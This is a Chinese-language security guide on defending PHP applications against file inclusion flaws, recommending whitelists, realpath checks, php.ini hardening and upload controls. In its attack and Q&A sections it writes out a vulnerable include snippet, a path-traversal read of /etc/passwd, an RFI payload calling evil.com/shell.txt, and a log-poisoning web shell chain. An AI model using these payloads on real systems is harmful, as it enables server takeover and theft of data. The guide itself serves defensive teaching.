文件包含漏洞如何防护

wen 开源项目 2026-06-30 28

文件包含漏洞深度解析与全方位防护指南

目录导读

文件包含漏洞概述——它是什么？为何危险？
漏洞成因与攻击模式——黑客如何利用？
核心防护策略——从代码到架构的立体防御
实战问答环节——解决常见防护困惑
总结与建议——构建持续安全能力

文件包含漏洞概述

文件包含漏洞（File Inclusion Vulnerability）是Web应用中最危险的安全漏洞之一，属于注入类漏洞的典型代表，当应用程序在动态包含文件时，未能对用户输入的参数进行严格过滤与验证，攻击者就可以通过构造恶意路径来包含服务器上的任意文件,甚至远程文件。

文件包含漏洞如何防护

为什么必须重视？

根据OWASP Top 10 2021数据，注入类漏洞（包含文件包含）依然位列前三高风险类别，一旦被利用,攻击者可能：

读取敏感配置文件（如数据库密码、密钥）
执行任意代码（配合日志注入等）
获取服务器控制权

漏洞成因与攻击模式

1 常见函数与场景

在PHP环境中,以下函数最容易引发漏洞：

include() / include_once() / require() / require_once()

典型危险代码示例：

<?php
$file = $_GET['file'];
include($file); // 未做任何过滤
?>

2 两种攻击路径

本地文件包含（LFI）：

攻击者输入：../../../../etc/passwd
读取系统敏感文件
配合文件上传功能实现代码执行

远程文件包含（RFI）：

攻击者输入：http://恶意服务器/shell.txt
前提：PHP需开启allow_url_include=On
直接执行远程恶意代码

进阶技巧：利用php://filter伪协议读取文件源码、利用phar://触发反序列化等。

核心防护策略（关键部分）

1 代码层硬性过滤

黄金法则：永远不要信任用户输入。

白名单验证

$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (in_array($page, $allowed_pages)) {
    include("pages/" . $page . ".php");
} else {
    // 错误处理
    include("pages/error.php");
}

关键点：白名单路径必须是绝对路径或固定相对路径,不能拼接用户输入。

路径规范化与检测

// 去除路径穿越
$file = str_replace('../', '', $_GET['file']);
// 但这种方法易被绕过，如....// 或编码方式

更优方案：

realpath($path) // 获取真实路径后对比

关闭危险功能

在php.ini中：

allow_url_include = Off
allow_url_fopen = Off
open_basedir = "/var/www/html/" # 限定虚拟目录

2 架构层防御

使用MVC框架自动处理
现代框架（Laravel、Spring Boot）通过路由映射自动处理文件包含,开发者不应手动使用include函数处理用户输入。

静态文件服务化
所有前端资源由Web服务器（Nginx/Apache）直接处理,不经过PHP解析：

location ~* \.(jpg|jpeg|png|css|js)$ {
    root /var/www/static;
}

日志与监控

对包含路径做实时告警
检测异常文件操作（如包含/etc/passwd）

3 文件上传场景特殊防护

如果系统允许上传文件：

重命名文件名为随机字符串（如MD5）
不保存原始扩展名，强制改为txt或自定义格式
将上传目录设置为不可执行（禁用PHP执行权限）
使用独立存储服务（如阿里云OSS），不与Web目录关联

实战问答环节

问：白名单防护是否万无一失？

答：并非绝对，如果白名单文件本身存在漏洞（如某页面包含动态参数），仍可能被利用，但白名单能阻止绝大多数攻击,建议配合以下措施：

对白名单文件进行定期代码审计
禁止从白名单外文件拉取内容

问：已经使用了WAF（Web应用防火墙），还需要代码层防护吗？

答：需要，WAF只能拦截已知攻击模式，而代码层防护是根除问题，WAF存在误报/绕过风险，例如使用编码绕过（URL编码、Unicode编码），最佳实践是“WAF+代码加固”双保险。

问：如何快速检测现有系统是否存在文件包含漏洞？

答：可尝试以下测试点：

在URL参数后添加../../../../../etc/passwd查看是否返回文件内容
使用php://filter/convert.base64-encode/resource=index.php查看源码
检查是否可能包含远程文件（如http://evil.com/shell.txt）
使用扫描工具（如Burp Suite的Active Scan）

问：是否所有文件包含漏洞都要修复？

答：是的，即使是仅能读取日志文件，攻击者也能通过日志注入写入恶意代码,再通过LFI执行。

访问： /index.php?log=../../../var/log/apache2/access.log
并事先在User-Agent中写入：<?php system($_GET['cmd']);?>
然后访问： /index.php?log=../../../var/log/apache2/access.log&cmd=id